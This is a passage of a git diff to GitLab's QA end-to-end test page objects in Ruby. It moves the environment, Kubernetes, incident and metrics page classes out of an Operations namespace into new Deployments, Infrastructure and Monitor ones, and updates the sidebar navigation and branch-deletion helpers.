view 'app/views/projects/branches/_branch.html.haml' do
element :remove_btn
element :branch_name
end
+
view 'app/views/projects/branches/_panel.html.haml' do
element :all_branches
end
+
view 'app/views/projects/branches/index.html.haml' do
element :delete_merged_branches
end
@@ -19,12 +29,12 @@ module QA
def delete_branch(branch_name)
within_element(:all_branches) do
within(".js-branch-#{branch_name}") do
- accept_alert do
- click_element(:remove_btn)
- end
+ click_element(:delete_branch_button)
end
end
+ click_element(:delete_branch_confirmation_button)
+
finished_loading?
end
diff --git a/qa/qa/page/project/deployments/environments/index.rb b/qa/qa/page/project/deployments/environments/index.rb
new file mode 100644
index 00000000000..598e1f26815
--- /dev/null
+++ b/qa/qa/page/project/deployments/environments/index.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Deployments
+ module Environments
+ class Index < Page::Base
+ view 'app/assets/javascripts/environments/components/environment_item.vue' do
+ element :environment_link
+ end
+
+ def click_environment_link(environment_name)
+ click_element(:environment_link, text: environment_name)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/deployments/environments/show.rb b/qa/qa/page/project/deployments/environments/show.rb
new file mode 100644
index 00000000000..48e4850d3be
--- /dev/null
+++ b/qa/qa/page/project/deployments/environments/show.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Deployments
+ module Environments
+ class Show < Page::Base
+ view 'app/views/projects/environments/_external_url.html.haml' do
+ element :view_deployment
+ end
+
+ def view_deployment(&block)
+ new_window = window_opened_by { click_element(:view_deployment) }
+
+ within_window(new_window, &block) if block
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/import/github.rb b/qa/qa/page/project/import/github.rb
index 58c82fa14c1..dc683f7314b 100644
--- a/qa/qa/page/project/import/github.rb
+++ b/qa/qa/page/project/import/github.rb
@@ -32,24 +32,20 @@ module QA
end
def import!(full_path, name)
- unless already_imported(full_path)
- choose_test_namespace(full_path)
- set_path(full_path, name)
- import_project(full_path)
- wait_for_success
- end
+ return if already_imported(full_path)
- go_to_project(name)
+ choose_test_namespace(full_path)
+ set_path(full_path, name)
+ import_project(full_path)
+ wait_for_success
end
private
- def within_repo_path(full_path)
+ def within_repo_path(full_path, &block)
project_import_row = find_element(:project_import_row, text: full_path)
- within(project_import_row) do
- yield
- end
+ within(project_import_row, &block)
end
def choose_test_namespace(full_path)
@@ -75,8 +71,13 @@ module QA
def wait_for_success
# TODO: set reload:false and remove skip_finished_loading_check_on_refresh when
# https://gitlab.com/gitlab-org/gitlab/-/issues/292861 is fixed
- wait_until(max_duration: 60, sleep_interval: 5.0, reload: true, skip_finished_loading_check_on_refresh: true) do
- page.has_no_content?('Importing 1 repository', wait: 3.0)
+ wait_until(
+ max_duration: 90,
+ sleep_interval: 5.0,
+ reload: true,
+ skip_finished_loading_check_on_refresh: true
+ ) do
+ page.has_no_content?('Importing 1 repository')
end
end
diff --git a/qa/qa/page/project/infrastructure/kubernetes/add.rb b/qa/qa/page/project/infrastructure/kubernetes/add.rb
new file mode 100644
index 00000000000..e2d50c1bcf1
--- /dev/null
+++ b/qa/qa/page/project/infrastructure/kubernetes/add.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Infrastructure
+ module Kubernetes
+ class Add < Page::Base
+ view 'app/views/clusters/clusters/new.html.haml' do
+ element :add_existing_cluster_tab
+ end
+
+ def add_existing_cluster
+ click_element(:add_existing_cluster_tab)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/infrastructure/kubernetes/add_existing.rb b/qa/qa/page/project/infrastructure/kubernetes/add_existing.rb
new file mode 100644
index 00000000000..689c2a31c4f
--- /dev/null
+++ b/qa/qa/page/project/infrastructure/kubernetes/add_existing.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Infrastructure
+ module Kubernetes
+ class AddExisting < Page::Base
+ view 'app/views/clusters/clusters/user/_form.html.haml' do
+ element :cluster_name, 'text_field :name' # rubocop:disable QA/ElementWithPattern
+ element :api_url, 'url_field :api_url' # rubocop:disable QA/ElementWithPattern
+ element :ca_certificate, 'text_area :ca_cert' # rubocop:disable QA/ElementWithPattern
+ element :token, 'text_field :token' # rubocop:disable QA/ElementWithPattern
+ element :add_kubernetes_cluster_button
+ element :rbac_checkbox
+ end
+
+ def set_cluster_name(name)
+ fill_in 'cluster_name', with: name
+ end
+
+ def set_api_url(api_url)
+ fill_in 'cluster_platform_kubernetes_attributes_api_url', with: QA::Runtime::Env.cluster_api_url || api_url
+ end
+
+ def set_ca_certificate(ca_certificate)
+ fill_in 'cluster_platform_kubernetes_attributes_ca_cert', with: ca_certificate
+ end
+
+ def set_token(token)
+ fill_in 'cluster_platform_kubernetes_attributes_token', with: token
+ end
+
+ def add_cluster!
+ click_element :add_kubernetes_cluster_button, Page::Project::Infrastructure::Kubernetes::Show
+ end
+
+ def uncheck_rbac!
+ uncheck_element(:rbac_checkbox)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/infrastructure/kubernetes/index.rb b/qa/qa/page/project/infrastructure/kubernetes/index.rb
new file mode 100644
index 00000000000..bdcaf7ffaff
--- /dev/null
+++ b/qa/qa/page/project/infrastructure/kubernetes/index.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Infrastructure
+ module Kubernetes
+ class Index < Page::Base
+ view 'app/views/clusters/clusters/_empty_state.html.haml' do
+ element :add_kubernetes_cluster_link
+ end
+
+ def add_kubernetes_cluster
+ click_element :add_kubernetes_cluster_link
+ end
+
+ def has_cluster?(cluster)
+ has_element?(:cluster, cluster_name: cluster.to_s)
+ end
+
+ def click_on_cluster(cluster)
+ click_on cluster.cluster_name
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/infrastructure/kubernetes/show.rb b/qa/qa/page/project/infrastructure/kubernetes/show.rb
new file mode 100644
index 00000000000..e3b4f8fe4d9
--- /dev/null
+++ b/qa/qa/page/project/infrastructure/kubernetes/show.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Infrastructure
+ module Kubernetes
+ class Show < Page::Base
+ view 'app/assets/javascripts/clusters/components/applications.vue' do
+ element :ingress_ip_address, 'id="ingress-endpoint"' # rubocop:disable QA/ElementWithPattern
+ end
+
+ view 'app/assets/javascripts/clusters/forms/components/integration_form.vue' do
+ element :integration_status_toggle, required: true
+ element :base_domain_field, required: true
+ element :save_changes_button, required: true
+ end
+
+ view 'app/views/clusters/clusters/_details_tab.html.haml' do
+ element :details, required: true
+ end
+
+ view 'app/views/clusters/clusters/_applications_tab.html.haml' do
+ element :applications, required: true
+ end
+
+ view 'app/assets/javascripts/clusters/components/application_row.vue' do
+ element :install_button
+ element :uninstall_button
+ end
+
+ view 'app/views/clusters/clusters/_health.html.haml' do
+ element :cluster_health_section
+ end
+
+ view 'app/views/clusters/clusters/_health_tab.html.haml' do
+ element :health, required: true
+ end
+
+ def open_details
+ has_element?(:details, wait: 30)
+ click_element :details
+ end
+
+ def open_applications
+ has_element?(:applications, wait: 30)
+ click_element :applications
+ end
+
+ def install!(application_name)
+ within_element(application_name) do
+ has_element?(:install_button, application: application_name, wait: 30)
+ click_element :install_button
+ end
+ end
+
+ def await_installed(application_name)
+ within_element(application_name) do
+ has_element?(:uninstall_button, application: application_name, wait: 300, skip_finished_loading_check: true)
+ end
+ end
+
+ def has_application_installed?(application_name)
+ within_element(application_name) do
+ has_element?(:uninstall_button, application: application_name, wait: 300)
+ end
+ end
+
+ def ingress_ip
+ # We need to wait longer since it can take some time before the
+ # ip address is assigned for the ingress controller
+ page.find('#ingress-endpoint', wait: 1200).value
+ end
+
+ def set_domain(domain)
+ fill_element :base_domain_field, domain
+ end
+
+ def save_domain
+ click_element :save_changes_button, Page::Project::Infrastructure::Kubernetes::Show
+ end
+
+ def wait_for_cluster_health
+ wait_until(max_duration: 120, sleep_interval: 3, reload: true) do
+ has_cluster_health_graphs?
+ end
+ end
+
+ def open_health
+ has_element?(:health, wait: 30)
+ click_element :health
+ end
+
+ def has_cluster_health_graphs?
+ within_cluster_health_section do
+ has_text?('CPU Usage')
+ end
+ end
+
+ def within_cluster_health_section
+ within_element :cluster_health_section do
+ yield
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/members.rb b/qa/qa/page/project/members.rb
index 09264d95aed..eeb589d6ca8 100644
--- a/qa/qa/page/project/members.rb
+++ b/qa/qa/page/project/members.rb
@@ -6,7 +6,7 @@ module QA
class Members < Page::Base
include QA::Page::Component::InviteMembersModal
- view 'app/views/projects/project_members/index.html.haml' do
+ view 'app/assets/javascripts/members/components/members_tabs.vue' do
element :groups_list_tab
end
diff --git a/qa/qa/page/project/menu.rb b/qa/qa/page/project/menu.rb
index ffabaf30374..db70d3e1d02 100644
--- a/qa/qa/page/project/menu.rb
+++ b/qa/qa/page/project/menu.rb
@@ -8,7 +8,9 @@ module QA
include SubMenus::Project
include SubMenus::CiCd
include SubMenus::Issues
- include SubMenus::Operations
+ include SubMenus::Deployments
+ include SubMenus::Monitor
+ include SubMenus::Infrastructure
include SubMenus::Repository
include SubMenus::Settings
include SubMenus::Packages
@@ -26,8 +28,10 @@ module QA
end
def click_activity
- within_sidebar do
- click_element(:sidebar_menu_item_link, menu_item: 'Activity')
+ hover_project_information do
+ within_submenu do
+ click_element(:sidebar_menu_item_link, menu_item: 'Activity')
+ end
end
end
@@ -38,8 +42,21 @@ module QA
end
def click_members
+ hover_project_information do
+ within_submenu do
+ click_element(:sidebar_menu_item_link, menu_item: 'Members')
+ end
+ end
+ end
+
+ private
+
+ def hover_project_information
within_sidebar do
- click_element(:sidebar_menu_link, menu_item: 'Members')
+ scroll_to_element(:sidebar_menu_link, menu_item: 'Project information')
+ find_element(:sidebar_menu_link, menu_item: 'Project information').hover
+
+ yield
end
end
end
diff --git a/qa/qa/page/project/monitor/incidents/index.rb b/qa/qa/page/project/monitor/incidents/index.rb
new file mode 100644
index 00000000000..9317cb27562
--- /dev/null
+++ b/qa/qa/page/project/monitor/incidents/index.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Monitor
+ module Incidents
+ class Index < Page::Base
+ view 'app/assets/javascripts/incidents/components/incidents_list.vue' do
+ element :create_incident_button
+ end
+
+ def create_incident
+ click_element :create_incident_button
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/monitor/metrics/show.rb b/qa/qa/page/project/monitor/metrics/show.rb
new file mode 100644
index 00000000000..07ceb108fa3
--- /dev/null
+++ b/qa/qa/page/project/monitor/metrics/show.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require 'securerandom'
+
+module QA
+ module Page
+ module Project
+ module Monitor
+ module Metrics
+ class Show < Page::Base
+ EXPECTED_TITLE = 'Memory Usage (Total)'
+ LOADING_MESSAGE = 'Waiting for performance data'
+
+ view 'app/assets/javascripts/monitoring/components/dashboard.vue' do
+ element :prometheus_graphs
+ end
+
+ view 'app/assets/javascripts/monitoring/components/dashboard_header.vue' do
+ element :dashboards_filter_dropdown
+ element :environments_dropdown
+ element :range_picker_dropdown
+ end
+
+ view 'app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue' do
+ element :actions_menu_dropdown
+ element :edit_dashboard_button_enabled
+ end
+
+ view 'app/assets/javascripts/monitoring/components/duplicate_dashboard_form.vue' do
+ element :duplicate_dashboard_filename_field
+ end
+
+ view 'app/assets/javascripts/monitoring/components/dashboard_panel.vue' do
+ element :prometheus_graph_widgets
+ element :prometheus_widgets_dropdown
+ element :alert_widget_menu_item
+ element :generate_chart_link_menu_item
+ end
+
+ view 'app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue' do
+ element :quick_range_item
+ end
+
+ view 'app/assets/javascripts/monitoring/components/variables_section.vue' do
+ element :variables_content
+ element :variable_item
+ end
+
+ def wait_for_metrics
+ wait_for_data
+ return if has_metrics?
+
+ wait_until(max_duration: 180) do
+ wait_for_data
+ has_metrics?
+ end
+ end
+
+ def has_metrics?
+ within_element :prometheus_graphs do
+ has_text?(EXPECTED_TITLE)
+ end
+ end
+
+ def has_edit_dashboard_enabled?
+ click_element :actions_menu_dropdown
+
+ within_element :actions_menu_dropdown do
+ has_element? :edit_dashboard_button_enabled
+ end
+ end
+
+ def duplicate_dashboard(save_as = 'test_duplication.yml', commit_option = 'Commit to default branch')
+ click_element :actions_menu_dropdown
+ click_on 'Duplicate current dashboard'
+ fill_element :duplicate_dashboard_filename_field, "#{SecureRandom.hex(8)}-#{save_as}"
+ choose commit_option
+ within('.modal-content') { click_button(class: 'btn-success') }
+ end
+
+ def select_dashboard(dashboard_name)
+ click_element :dashboards_filter_dropdown
+
+ within_element :dashboards_filter_dropdown do
+ click_on dashboard_name
+ end
+ end
+
+ def filter_environment(environment = 'production')
+ click_element :environments_dropdown
+
+ within_element :environments_dropdown do
+ click_link_with_text environment
+ end
+ end
+
+ def show_last(range = '8 hours')
+ all_elements(:range_picker_dropdown, minimum: 1).first.click
+ click_element :quick_range_item, text: range
+ end
+
+ def copy_link_to_first_chart
+ all_elements(:prometheus_widgets_dropdown, minimum: 1).first.click
+ find_element(:generate_chart_link_menu_item)['data-clipboard-text']
+ end
+
+ def has_custom_metric?(metric)
+ within_element :prometheus_graphs do
+ has_text?(metric)
+ end
+ end
+
+ def has_templating_variable?(variable)
+ within_element :variables_content do
+ has_element?(:variable_item, text: variable)
+ end
+ end
+
+ def has_template_metric?(metric)
+ within_element :prometheus_graphs do
+ has_text?(metric)
+ end
+ end
+
+ private
+
+ def wait_for_data
+ wait_until(reload: false) { !has_text?(LOADING_MESSAGE) } if has_text?(LOADING_MESSAGE)
+ end
+ end
+ end
+ end
+ end
+ end
+end
+
+QA::Page::Project::Monitor::Metrics::Show.prepend_mod_with('Page::Project::Monitor::Metrics::Show', namespace: QA)
diff --git a/qa/qa/page/project/operations/environments/index.rb b/qa/qa/page/project/operations/environments/index.rb
deleted file mode 100644
index 6b46fa4985a..00000000000
--- a/qa/qa/page/project/operations/environments/index.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Operations
- module Environments
- class Index < Page::Base
- view 'app/assets/javascripts/environments/components/environment_item.vue' do
- element :environment_link
- end
-
- def click_environment_link(environment_name)
- click_element(:environment_link, text: environment_name)
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/operations/environments/show.rb b/qa/qa/page/project/operations/environments/show.rb
deleted file mode 100644
index aa88c218c89..00000000000
--- a/qa/qa/page/project/operations/environments/show.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Operations
- module Environments
- class Show < Page::Base
- view 'app/views/projects/environments/_external_url.html.haml' do
- element :view_deployment
- end
-
- def view_deployment(&block)
- new_window = window_opened_by { click_element(:view_deployment) }
-
- within_window(new_window, &block) if block
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/operations/incidents/index.rb b/qa/qa/page/project/operations/incidents/index.rb
deleted file mode 100644
index fd0c5253a7f..00000000000
--- a/qa/qa/page/project/operations/incidents/index.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Operations
- module Incidents
- class Index < Page::Base
- view 'app/assets/javascripts/incidents/components/incidents_list.vue' do
- element :create_incident_button
- end
-
- def create_incident
- click_element :create_incident_button
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/operations/kubernetes/add.rb b/qa/qa/page/project/operations/kubernetes/add.rb
deleted file mode 100644
index 9a6ea99ac18..00000000000
--- a/qa/qa/page/project/operations/kubernetes/add.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Operations
- module Kubernetes
- class Add < Page::Base
- view 'app/views/clusters/clusters/new.html.haml' do
- element :add_existing_cluster_tab
- end
-
- def add_existing_cluster
- click_element(:add_existing_cluster_tab)
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/operations/kubernetes/add_existing.rb b/qa/qa/page/project/operations/kubernetes/add_existing.rb
deleted file mode 100644
index 59f59ca9966..00000000000
--- a/qa/qa/page/project/operations/kubernetes/add_existing.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Operations
- module Kubernetes
- class AddExisting < Page::Base
- view 'app/views/clusters/clusters/user/_form.html.haml' do
- element :cluster_name, 'text_field :name' # rubocop:disable QA/ElementWithPattern
- element :api_url, 'url_field :api_url' # rubocop:disable QA/ElementWithPattern
- element :ca_certificate, 'text_area :ca_cert' # rubocop:disable QA/ElementWithPattern
- element :token, 'text_field :token' # rubocop:disable QA/ElementWithPattern
- element :add_kubernetes_cluster_button
- element :rbac_checkbox
- end
-
- def set_cluster_name(name)
- fill_in 'cluster_name', with: name
- end
-
- def set_api_url(api_url)
- fill_in 'cluster_platform_kubernetes_attributes_api_url', with: QA::Runtime::Env.cluster_api_url || api_url
- end
-
- def set_ca_certificate(ca_certificate)
- fill_in 'cluster_platform_kubernetes_attributes_ca_cert', with: ca_certificate
- end
-
- def set_token(token)
- fill_in 'cluster_platform_kubernetes_attributes_token', with: token
- end
-
- def add_cluster!
- click_element :add_kubernetes_cluster_button, Page::Project::Operations::Kubernetes::Show
- end
-
- def uncheck_rbac!
- uncheck_element(:rbac_checkbox)
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/operations/kubernetes/index.rb b/qa/qa/page/project/operations/kubernetes/index.rb
deleted file mode 100644
index ca41dddaca2..00000000000
--- a/qa/qa/page/project/operations/kubernetes/index.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Operations
- module Kubernetes
- class Index < Page::Base
- view 'app/views/clusters/clusters/_empty_state.html.haml' do
- element :add_kubernetes_cluster_link
- end
-
- def add_kubernetes_cluster
- click_element :add_kubernetes_cluster_link
- end
-
- def has_cluster?(cluster)
- has_element?(:cluster, cluster_name: cluster.to_s)
- end
-
- def click_on_cluster(cluster)
- click_on cluster.cluster_name
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/operations/kubernetes/show.rb b/qa/qa/page/project/operations/kubernetes/show.rb
deleted file mode 100644
index 3bb51d2d579..00000000000
--- a/qa/qa/page/project/operations/kubernetes/show.rb
+++ /dev/null
@@ -1,110 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Operations
- module Kubernetes
- class Show < Page::Base
- view 'app/assets/javascripts/clusters/components/applications.vue' do
- element :ingress_ip_address, 'id="ingress-endpoint"' # rubocop:disable QA/ElementWithPattern
- end
-
- view 'app/assets/javascripts/clusters/forms/components/integration_form.vue' do
- element :integration_status_toggle, required: true
- element :base_domain_field, required: true
- element :save_changes_button, required: true
- end
-
- view 'app/views/clusters/clusters/_details_tab.html.haml' do
- element :details, required: true
- end
-
- view 'app/views/clusters/clusters/_applications_tab.html.haml' do
- element :applications, required: true
- end
-
- view 'app/assets/javascripts/clusters/components/application_row.vue' do
- element :install_button
- element :uninstall_button
- end
-
- view 'app/views/clusters/clusters/_health.html.haml' do
- element :cluster_health_section
- end
-
- view 'app/views/clusters/clusters/_health_tab.html.haml' do
- element :health, required: true
- end
-
- def open_details
- has_element?(:details, wait: 30)
- click_element :details
- end
-
- def open_applications
- has_element?(:applications, wait: 30)
- click_element :applications
- end
-
- def install!(application_name)
- within_element(application_name) do
- has_element?(:install_button, application: application_name, wait: 30)
- click_element :install_button
- end
- end
-
- def await_installed(application_name)
- within_element(application_name) do
- has_element?(:uninstall_button, application: application_name, wait: 300, skip_finished_loading_check: true)
- end
- end
-
- def has_application_installed?(application_name)
- within_element(application_name) do
- has_element?(:uninstall_button, application: application_name, wait: 300)
- end
- end
-
- def ingress_ip
- # We need to wait longer since it can take some time before the
- # ip address is assigned for the ingress controller
- page.find('#ingress-endpoint', wait: 1200).value
- end
-
- def set_domain(domain)
- fill_element :base_domain_field, domain
- end
-
- def save_domain
- click_element :save_changes_button, Page::Project::Operations::Kubernetes::Show
- end
-
- def wait_for_cluster_health
- wait_until(max_duration: 120, sleep_interval: 3, reload: true) do
- has_cluster_health_graphs?
- end
- end
-
- def open_health
- has_element?(:health, wait: 30)
- click_element :health
- end
-
- def has_cluster_health_graphs?
- within_cluster_health_section do
- has_text?('CPU Usage')
- end
- end
-
- def within_cluster_health_section
- within_element :cluster_health_section do
- yield
- end
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/operations/metrics/show.rb b/qa/qa/page/project/operations/metrics/show.rb
deleted file mode 100644
index 22a7f1eed8f..00000000000
--- a/qa/qa/page/project/operations/metrics/show.rb
+++ /dev/null
@@ -1,137 +0,0 @@
-# frozen_string_literal: true
-
-require 'securerandom'
-
-module QA
- module Page
- module Project
- module Operations
- module Metrics
- class Show < Page::Base
- EXPECTED_TITLE = 'Memory Usage (Total)'
- LOADING_MESSAGE = 'Waiting for performance data'
-
- view 'app/assets/javascripts/monitoring/components/dashboard.vue' do
- element :prometheus_graphs
- end
-
- view 'app/assets/javascripts/monitoring/components/dashboard_header.vue' do
- element :dashboards_filter_dropdown
- element :environments_dropdown
- element :range_picker_dropdown
- end
-
- view 'app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue' do
- element :actions_menu_dropdown
- element :edit_dashboard_button_enabled
- end
-
- view 'app/assets/javascripts/monitoring/components/duplicate_dashboard_form.vue' do
- element :duplicate_dashboard_filename_field
- end
-
- view 'app/assets/javascripts/monitoring/components/dashboard_panel.vue' do
- element :prometheus_graph_widgets
- element :prometheus_widgets_dropdown
- element :alert_widget_menu_item
- element :generate_chart_link_menu_item
- end
-
- view 'app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue' do
- element :quick_range_item
- end
-
- view 'app/assets/javascripts/monitoring/components/variables_section.vue' do
- element :variables_content
- element :variable_item
- end
-
- def wait_for_metrics
- wait_for_data
- return if has_metrics?
-
- wait_until(max_duration: 180) do
- wait_for_data
- has_metrics?
- end
- end
-
- def has_metrics?
- within_element :prometheus_graphs do
- has_text?(EXPECTED_TITLE)
- end
- end
-
- def has_edit_dashboard_enabled?
- click_element :actions_menu_dropdown
-
- within_element :actions_menu_dropdown do
- has_element? :edit_dashboard_button_enabled
- end
- end
-
- def duplicate_dashboard(save_as = 'test_duplication.yml', commit_option = 'Commit to default branch')
- click_element :actions_menu_dropdown
- click_on 'Duplicate current dashboard'
- fill_element :duplicate_dashboard_filename_field, "#{SecureRandom.hex(8)}-#{save_as}"
- choose commit_option
- within('.modal-content') { click_button(class: 'btn-success') }
- end
-
- def select_dashboard(dashboard_name)
- click_element :dashboards_filter_dropdown
-
- within_element :dashboards_filter_dropdown do
- click_on dashboard_name
- end
- end
-
- def filter_environment(environment = 'production')
- click_element :environments_dropdown
-
- within_element :environments_dropdown do
- click_link_with_text environment
- end
- end
-
- def show_last(range = '8 hours')
- all_elements(:range_picker_dropdown, minimum: 1).first.click
- click_element :quick_range_item, text: range
- end
-
- def copy_link_to_first_chart
- all_elements(:prometheus_widgets_dropdown, minimum: 1).first.click
- find_element(:generate_chart_link_menu_item)['data-clipboard-text']
- end
-
- def has_custom_metric?(metric)
- within_element :prometheus_graphs do
- has_text?(metric)
- end
- end
-
- def has_templating_variable?(variable)
- within_element :variables_content do
- has_element?(:variable_item, text: variable)
- end
- end
-
- def has_template_metric?(metric)
- within_element :prometheus_graphs do
- has_text?(metric)
- end
- end
-
- private
-
- def wait_for_data
- wait_until(reload: false) { !has_text?(LOADING_MESSAGE) } if has_text?(LOADING_MESSAGE)
- end
- end
- end
- end
- end
- end
-end
-
-QA::Page::Project::Operations::Metrics::Show.prepend_mod_with('Page::Project::Operations::Metrics::Show', namespace: QA)
diff --git a/qa/qa/page/project/settings/alerts.rb b/qa/qa/page/project/settings/alerts.rb
new file mode 100644
index 00000000000..be9b61ded80
--- /dev/null
+++ b/qa/qa/page/project/settings/alerts.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Settings
+ class Alerts < Page::Base
+ view 'app/assets/javascripts/alerts_settings/components/alerts_form.vue' do
+ element :create_issue_checkbox
+ element :incident_templates_dropdown
+ element :save_changes_button
+ element :incident_templates_item
+ end
+
+ def enable_issues_for_incidents
+ check_element(:create_issue_checkbox)
+ end
+
+ def select_issue_template(template)
+ click_element(:incident_templates_dropdown)
+ within_element :incident_templates_dropdown do
+ find_element(:incident_templates_item, text: template).click
+ end
+ end
+
+ def save_incident_settings
+ click_element :save_changes_button
+ end
+
+ def has_template?(template)
+ within_element :incident_templates_dropdown do
+ has_text?(template)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/settings/incidents.rb b/qa/qa/page/project/settings/incidents.rb
deleted file mode 100644
index 610129851d9..00000000000
--- a/qa/qa/page/project/settings/incidents.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Settings
- class Incidents < Page::Base
- view 'app/assets/javascripts/incidents_settings/components/alerts_form.vue' do
- element :create_issue_checkbox
- element :incident_templates_dropdown
- element :save_changes_button
- element :incident_templates_item
- end
-
- def enable_issues_for_incidents
- check_element(:create_issue_checkbox)
- end
-
- def select_issue_template(template)
- click_element(:incident_templates_dropdown)
- within_element :incident_templates_dropdown do
- find_element(:incident_templates_item, text: template).click
- end
- end
-
- def save_incident_settings
- click_element :save_changes_button
- end
-
- def has_template?(template)
- within_element :incident_templates_dropdown do
- has_text?(template)
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/settings/monitor.rb b/qa/qa/page/project/settings/monitor.rb
new file mode 100644
index 00000000000..87fb0698897
--- /dev/null
+++ b/qa/qa/page/project/settings/monitor.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Settings
+ class Monitor < Page::Base
+ include QA::Page::Settings::Common
+
+ view 'app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue' do
+ element :incidents_settings_content
+ end
+
+ def expand_incidents(&block)
+ expand_content(:incidents_settings_content) do
+ Settings::Alerts.perform(&block)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/settings/operations.rb b/qa/qa/page/project/settings/operations.rb
deleted file mode 100644
index 12dcb064807..00000000000
--- a/qa/qa/page/project/settings/operations.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module Settings
- class Operations < Page::Base
- include QA::Page::Settings::Common
-
- view 'app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue' do
- element :incidents_settings_content
- end
-
- def expand_incidents(&block)
- expand_content(:incidents_settings_content) do
- Settings::Incidents.perform(&block)
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/show.rb b/qa/qa/page/project/show.rb
index c174d4b0c3f..6e5097c3812 100644
--- a/qa/qa/page/project/show.rb
+++ b/qa/qa/page/project/show.rb
@@ -24,7 +24,10 @@ module QA
view 'app/views/layouts/header/_new_dropdown.html.haml' do
element :new_menu_toggle
- element :new_issue_link, "link_to _('New issue'), new_project_issue_path(@project)" # rubocop:disable QA/ElementWithPattern
+ end
+
+ view 'app/helpers/nav/new_dropdown_helper.rb' do
+ element :new_issue_link
end
view 'app/views/projects/_last_push.html.haml' do
@@ -115,7 +118,7 @@ module QA
def go_to_new_issue
click_element :new_menu_toggle
- click_link 'New issue'
+ click_element(:new_issue_link)
end
def has_file?(name)
diff --git a/qa/qa/page/project/sub_menus/deployments.rb b/qa/qa/page/project/sub_menus/deployments.rb
new file mode 100644
index 00000000000..24243cb2436
--- /dev/null
+++ b/qa/qa/page/project/sub_menus/deployments.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module SubMenus
+ module Deployments
+ extend QA::Page::PageConcern
+
+ def self.included(base)
+ super
+
+ base.class_eval do
+ include QA::Page::Project::SubMenus::Common
+ end
+ end
+
+ def go_to_deployments_environments
+ hover_deployments do
+ within_submenu do
+ click_element(:sidebar_menu_item_link, menu_item: 'Environments')
+ end
+ end
+ end
+
+ private
+
+ def hover_deployments
+ within_sidebar do
+ scroll_to_element(:sidebar_menu_link, menu_item: 'Deployments')
+ find_element(:sidebar_menu_link, menu_item: 'Deployments').hover
+
+ yield
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/sub_menus/infrastructure.rb b/qa/qa/page/project/sub_menus/infrastructure.rb
new file mode 100644
index 00000000000..2c207022c8d
--- /dev/null
+++ b/qa/qa/page/project/sub_menus/infrastructure.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module SubMenus
+ module Infrastructure
+ extend QA::Page::PageConcern
+
+ def self.included(base)
+ super
+
+ base.class_eval do
+ include QA::Page::Project::SubMenus::Common
+ end
+ end
+
+ def go_to_infrastructure_kubernetes
+ hover_infrastructure do
+ within_submenu do
+ click_link('Kubernetes clusters')
+ end
+ end
+ end
+
+ private
+
+ def hover_infrastructure
+ within_sidebar do
+ scroll_to_element(:sidebar_menu_link, menu_item: 'Infrastructure')
